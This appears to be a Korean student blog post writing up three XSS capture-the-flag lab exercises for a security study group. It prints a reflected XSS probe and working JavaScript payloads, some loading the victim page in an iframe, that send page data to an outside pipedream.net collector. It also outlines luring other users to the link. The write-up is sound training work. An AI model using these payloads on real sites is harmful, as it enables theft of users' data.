[취업반 스터디 3달 3주차: 과제]

Minseok Jo·2024년 2월 18일
post-thumbnail

3달차 3주차 과제는 다음 4가지와 같다.

  1. 수업 내용 정리
  2. Basic Script Prac, Steal Info, Steal Info2 문제 풀기
  3. 문제풀이 블로그 정리
  4. 웹 개발

1번 복습 내용은 "스터디 정리" 카테고리에 기록해두었다.
따라서 2번 과제부터 정리하였다.


1. XSS - iframe : CTF문제 풀기

[Basic Script Prac]

주어진 문제는 다음과 같다.

(1) 로그인 > 마이페이지에 들어가면 FLAG 가 있는 부분을 확인할 수 있다.

(2) user 파라미터를 통해 전달되는 값이 서버의 응답에 포함되고 있다.

(3) 스크립트를 삽입하여 서버에 응답 및 스크립트가 실행되는 것을 확인한다.
○ user : test"/><script>alert(1)</script><input+type="hidden

(4) Flag Here 태그 값 추출
○ Flag Here 값은 name 속성을 info로 갖는 input 태그의 placeholder 값이다.
○ 개발자 도구의 console에서 먼저 dom 객체를 사용하여 해당 데이터가 추출되는 것을 확인한다.
● 이 추출한 데이터를 공격자 페이지로 전송하기만 하면 된다.

(5) 공격자 페이지 전달 스크립트 작성

삽입한 스크립트는 다음과 같다.

<script>
	var data = getElementsByName('info')[0].placeholder; // Flag Here 값 저장
	var i = new Image(); // img 태그 생성
	i.src="공격자페이지?data="+data; // img태그의 src 속성을 공격자 페이지로 지정하여 데이터 전달
</script>

(6) 실행 결과
○ placeholder의 값을 불러올 수 없다는 오류가 발생하였다.

(7) 오류 원인 분석
먼저 작성한 스크립트가 삽입된 후, 전체 스크립트의 순서를 살펴보아야 한다.
○ 작성한 스크립트가 실행되는 시점은, 추출하고 싶은 placeholder 값을 갖는 input 태그가 생성되기 이전이다.
● 즉, 스크립트가 실행되는 시점에 존재하지 않는 placeholder 값을 추출하려하므로 오류가 발생한 것이다.
○ 따라서 페이지가 완전히 로드된 후, 스크립트가 실행되도록 해주어야 한다.

(8) 스크립트 재작성

작성된 스크립트는 다음과 같다.

<script>window.addEventListener('load', function() { 
	var data = document.getElementsByName('info')[0].placeholder;
    var i = new Image(); 
    i.src="https://enc4fk9f4nsx8.x.pipedream.net?data="+data;}); 
</script>

페이지가 완전히 로드된 후, 스크립트가 실행되도록 작성해주었다.


(9) 실행 결과
○ 공격자 페이지로 원하는 값이 정상적으로 전달되었다.
● 이제 원하는 사용자가 해당 스크립트가 작성된 링크를 방문하도록 만들면 된다.

(10) 타 이용자가 해당 링크 방문
○ 해당 링크를 방문하는 이용자의 정보가 공격자 페이지로 전달



[Steal Info]

주어진 문제는 다음과 같다.

(1) XSS 취약점 확인
공지사항 > 글쓰기 > 내용에 스크립트 삽입
게시글 응답값에 작성한 스크립트 삽입 및 실행 확인

(2) 대상 페이지에서 탈취할 데이터의 DOM 객체값 확인
○ class 속성이 card-text인 p태그의 inner 값
○ 데이터 정상 추출 확인

(3) XSS 취약점을 통해 대상 페이지 정보 탈취 스크립트 작성

작성된 스크립트는 다음과 같다.

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html" id="target"></iframe>
<script>
  var ttarget = document.getElementById('target');
  ttarget.addEventListener('load', () => {
  var domdata =  ttarget.contentDocument;
  var data = domdata.getElementsByClassName('card-text')[1].innerHTML;
  var i = new Image();
  i.src="공격자 페이지?data="+data;
});
</script>

(4) 실행결과
● 공격자 페이지로 데이터 정상 전송

(5) 대상에게 해당 게시글 링크 전달

(6) 이용자 방문 결과
○ 해당 게시글을 방문하는 이용자의 정보가 공격자 페이지로 전달



[Steal Info2]

주어진 문제는 다음과 같다.

(1) XSS 취약점 확인
공지사항 > 글쓰기 > 내용에 스크립트 삽입
게시글 응답값에 작성한 스크립트 삽입 및 실행 확인

(2) 대상 페이지에서 탈취할 데이터의 DOM 객체값 확인
○ id 속성이 userInfo인 input 태그의 placeholder 값
○ 데이터 정상 추출 확인

(3) XSS 취약점을 통해 대상 페이지 정보 탈취 스크립트 작성

작성된 스크립트는 다음과 같다.

<iframe src="http://ctf.segfaulthub.com:4343/scriptPrac2/mypage.php?user=ttest" id="target"></iframe>
<script>
  var ttarget = document.getElementById('target');
  ttarget.addEventListener('load', () => {
  var domdata =  ttarget.contentWindow;
  var data = domdata.document.getElementById('userInfo').placeholder;
  var i = new Image();
  i.src="https://enc4fk9f4nsx8.x.pipedream.net?data="+data;
});
</script>

(4) 실행 결과
● 공격자 페이지로 데이터 정상 전송

(5) 대상에게 해당 게시글 링크 전달

(6) 이용자 방문 결과
○ 해당 게시글을 방문하는 이용자의 정보가 공격자 페이지로 전달


이렇게 두번째 과제인 'CTF 문제 풀기' 과제가 완료되었다.


0개의 댓글